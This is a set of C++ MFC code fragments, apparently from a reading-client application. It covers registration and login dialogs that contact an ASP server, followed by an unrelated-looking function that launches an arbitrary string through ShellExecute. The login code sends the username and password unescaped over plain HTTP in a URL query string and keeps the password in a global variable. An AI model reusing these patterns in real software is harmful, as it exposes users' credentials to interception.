NULL, SW_SHOW); int re = 0; CRegsterDialog::EndDialog(re); return; }
/****************************************************** 用户注册 *******************************************************/ void CRegsterDialog::OnButtonRegister() { UpdateData(TRUE); //20081229 //读取配置文件config.ini.获得注册页面地址 //added by zuoss 20090112 char iniPath[_MAX_PATH] = {0}; char aspAddr[_MAX_PATH] = {0}; sprintf_s(iniPath, _MAX_PATH, "%s\\system\\config.ini", CurrentPath); GetPrivateProfileString("server", "ip", NULL, aspAddr, 50, iniPath); sprintf_s(AspServer, 1024, "http://%s/readman",aspAddr); /* CHttpDownLoadDlg DownDlg; DownDlg.m_URL.Format("%s/info.asp",AspServer); DownDlg.m_Path.Format("%s/temp/readman.pth", CurrentPath); DeleteFile(DownDlg.m_Path); if(DownDlg.DoModal()!=IDOK) { sprintf(iniPath, "%s\\system\\config.ini", CurrentPath); GetPrivateProfileString("server", "dns", NULL, aspAddr, 50, iniPath); sprintf(AspServer,"http://%s/readman",aspAddr); WSADATA wsaData; int iErrorCode = WSAStartup(MAKEWORD(2,2),&wsaData); CString sIPAddress; struct hostent FAR *lpHostEnt=gethostbyname(aspAddr); if(lpHostEnt == NULL) { sIPAddress = _T(""); sprintf(AspServer,"http://readings.vicp.net/readman"); } else { LPSTR lpaddr = lpHostEnt->h_addr_list[0]; if(lpaddr) { struct in_addr inAddr; memmove (&inAddr,lpaddr, 4); sIPAddress=inet_ntoa (inAddr); if(sIPAddress.IsEmpty()) { sIPAddress=_T("Not available"); sprintf(AspServer,"http://readings.vicp.net/readman"); } //write to config.ini else { char serverip[_MAX_PATH] = {0}; sprintf(serverip, "%s\\system\\config.ini", CurrentPath); WritePrivateProfileString("server", "ip", sIPAddress, iniPath); sprintf(AspServer,"http://%s/readman",sIPAddress); } } } } */ char WebPath[1024] = {0}; sprintf_s(WebPath, 1024, "%s/server/register.asp",AspServer); ShellExecute(NULL, "open", WebPath, NULL, NULL, SW_SHOW); //end // // UpdateData(TRUE); // char WebPath[1024] = {0}; // sprintf(WebPath,"%s/server/register.asp",AspServer); // // ShellExecute(NULL, "open", WebPath, NULL, NULL, SW_SHOW); }
/******************************************************* 登录 *******************************************************/ void CRegsterDialog::OnLogin() { UpdateData(TRUE); //读取配置文件config.ini.赋值AspServer,JspServer //added by zuoss 20081222 char iniPath[_MAX_PATH] = {0}; char aspAddr[_MAX_PATH] = {0}; sprintf_s(iniPath, _MAX_PATH, "%s\\system\\config.ini", CurrentPath); GetPrivateProfileString("server", "ip", NULL, aspAddr, 50, iniPath); sprintf_s(AspServer, 1024, "http://%s/readman",aspAddr); sprintf_s(JspServer, 1024, "http://%s:8088",aspAddr); // CHttpDownLoadDlg DownDlg; // DownDlg.m_URL.Format("%s/info.asp",AspServer); // DownDlg.m_Path.Format("%s/temp/readman.pth", CurrentPath); // DeleteFile(DownDlg.m_Path); // if(DownDlg.DoModal()!=IDOK) // { // sprintf(iniPath, "%s\\system\\config.ini", CurrentPath); // GetPrivateProfileString("server", "dns", NULL, aspAddr, 50, iniPath); // sprintf(AspServer,"http://%s/readman",aspAddr); // sprintf(JspServer,"http://%s:8088",aspAddr); // // WSADATA wsaData; // int iErrorCode = WSAStartup(MAKEWORD(2,2),&wsaData); // // CString sIPAddress; // struct hostent FAR *lpHostEnt=gethostbyname(aspAddr); // if(lpHostEnt == NULL) // { // sIPAddress = _T(""); // sprintf(AspServer,"http://readings.vicp.net/readman"); // sprintf(JspServer,"http://readings.vicp.net:8088"); // //AfxMessageBox("无法连接服务器!您可以选择“逛逛”,或稍后重试。"); // //return; // } // else // { // LPSTR lpaddr = lpHostEnt->h_addr_list[0]; // if(lpaddr) // { // struct in_addr inAddr; // memmove (&inAddr,lpaddr, 4); // sIPAddress=inet_ntoa (inAddr); // if(sIPAddress.IsEmpty()) // { // sIPAddress=_T("Not available"); // sprintf(AspServer,"http://readings.vicp.net/readman"); // sprintf(JspServer,"http://readings.vicp.net:8088"); // //AfxMessageBox("无法连接服务器!您可以选择“逛逛”,或稍后重试。"); // //return; // } // //write to config.ini // else // { // char serverip[_MAX_PATH] = {0}; // sprintf(serverip, "%s\\system\\config.ini", CurrentPath); // WritePrivateProfileString("server", "ip", sIPAddress, iniPath); // sprintf(AspServer,"http://%s/readman",sIPAddress); // sprintf(JspServer,"http://%s:8088",sIPAddress); // } // } // } // } //end if(!m_autolog) { char Path[_MAX_PATH] = {0}; sprintf_s(Path, _MAX_PATH, "%s/system/sysinfo.ini", CurrentPath); if(m_autolog) { WritePrivateProfileString("default login", "auto", "1", Path); } else { WritePrivateProfileString("default login", "auto", "0", Path); } } CHttpDownLoadDlg dlg; //dlg.m_URL.Format("http://%s/RetailWeb/docheckuser?username=%s&pwd=%s&version=3&validdate=1", // JspServer, m_username, m_password); //jinke if (m_username == "") { AfxMessageBox("用户名不能为空!"); return; } dlg.m_URL.Format("%s/server/checkuser.asp?username=%s&pwd=%s",AspServer,m_username,m_password); //记录密码 by fangji sprintf_s(::Password, 50, "%s", m_password); //safelab // dlg.m_URL.Format("http://202.113.25.155/Readman/server/checkuser.asp?username=%s&pwd=%s",m_username,m_password); dlg.m_Path.Format("%s\\temp\\Regist.inf", CurrentPath); DeleteFile(dlg.m_Path); if(!m_offline){ if(dlg.DoModal() != IDOK){ ReceiveIP2(); MessageBox("由于网络原因,连接服务器失败,请检查网络设置后重试。", "错误", MB_OK|MB_ICONERROR); m_offline = TRUE; EndDialog(IDOK); return; } /*if(!CheckUserRegInfo(dlg.m_Path)){ MessageBox("用户名或密码输入错误,请重试!", "错误", MB_OK|MB_ICONERROR); return; }*/ //返回值:1-登陆成功,2-用户名密码错误,3-需要用户更新信息,4-用户未激活 int checkresult = CheckUserRegInfo(dlg.m_Path); if(checkresult == 2) { MessageBox("用户名或密码输入错误,请重试!", "错误", MB_OK|MB_ICONERROR); return; } else if (checkresult == 3) { AfxMessageBox("由于软件升级,您需要修改个人信息。修改后即可使用。感谢您的支持!"); CString userinfopath = ""; userinfopath.Format("%s/server/changeUserInfo.asp?username=%s",AspServer,m_username); ShellExecute(NULL, "open", userinfopath,NULL, NULL, SW_SHOW); int re = 0; CRegsterDialog::EndDialog(re); return; } else if (checkresult == 4) { AfxMessageBox("账户未激活。请查收邮件并完成激活"); return; } //增加积分 //AfxMessageBox("增加积分"); CString url; url.Format("%s/server/addscore.asp?username=%s",AspServer,m_username); if (!UpLoad(url)) { //AfxMessageBox("积分增加失败"); } } SaveUserInfo(); m_rmDisk.GetWindowText(m_SDCard); CDialog::OnOK(); }
bool MyObject::Do(Energy* E) { assert(E->EnergyType() == TYPE_PIPELINE); ePipeline* Pipe = (ePipeline*)E; if (Pipe->Size()==0) { return false; } ENERGY_TYPE Type = Pipe->GetDataType(0); if (Type != TYPE_STRING) { return false; } tstring s = Pipe->PopString(); HINSTANCE hHandle = ShellExecute(NULL,_T("open"), s.c_str(), NULL, NULL, SW_SHOWNORMAL); DWORD ret = (DWORD)hHandle; if(ret>32)return true; tstring Error; switch(ret){ case 0: Error =_T("The operating system is out of memory or resources."); break; case ERROR_FILE_NOT_FOUND: Error = _T("The specified file was not found."); break; case ERROR_PATH_NOT_FOUND: Error = _T("The specified path was not found."); break; case ERROR_BAD_FORMAT: Error = _T("The .exe file is invalid (non-Win32 .exe or error in .exe image)."); break; case SE_ERR_ACCESSDENIED: Error = _T("The operating system denied access to the specified file."); break; case SE_ERR_ASSOCINCOMPLETE: Error = _T("The file name association is incomplete or invalid."); break; case SE_ERR_DDEBUSY: Error = _T("The DDE transaction could not be completed because other DDE transactions were being processed."); break; case SE_ERR_DDEFAIL: Error = _T("The DDE transaction failed."); break; case SE_ERR_DDETIMEOUT: Error = _T("The DDE transaction could not be completed because the request timed out."); break; case SE_ERR_DLLNOTFOUND: Error = _T("The specified DLL was not found."); break; case SE_ERR_NOASSOC: Error = _T("There is no application associated with the given file name extension. This error will also be returned if you attempt to print a file that is not printable."); break; case SE_ERR_OOM: Error = _T("There was not enough memory to complete the operation."); break; case SE_ERR_SHARE: Error = _T("A sharing violation occurred."); break; } Pipe->SetLabel(Error.c_str()); // Pipe->SetID(RETURN_ERROR); return false; }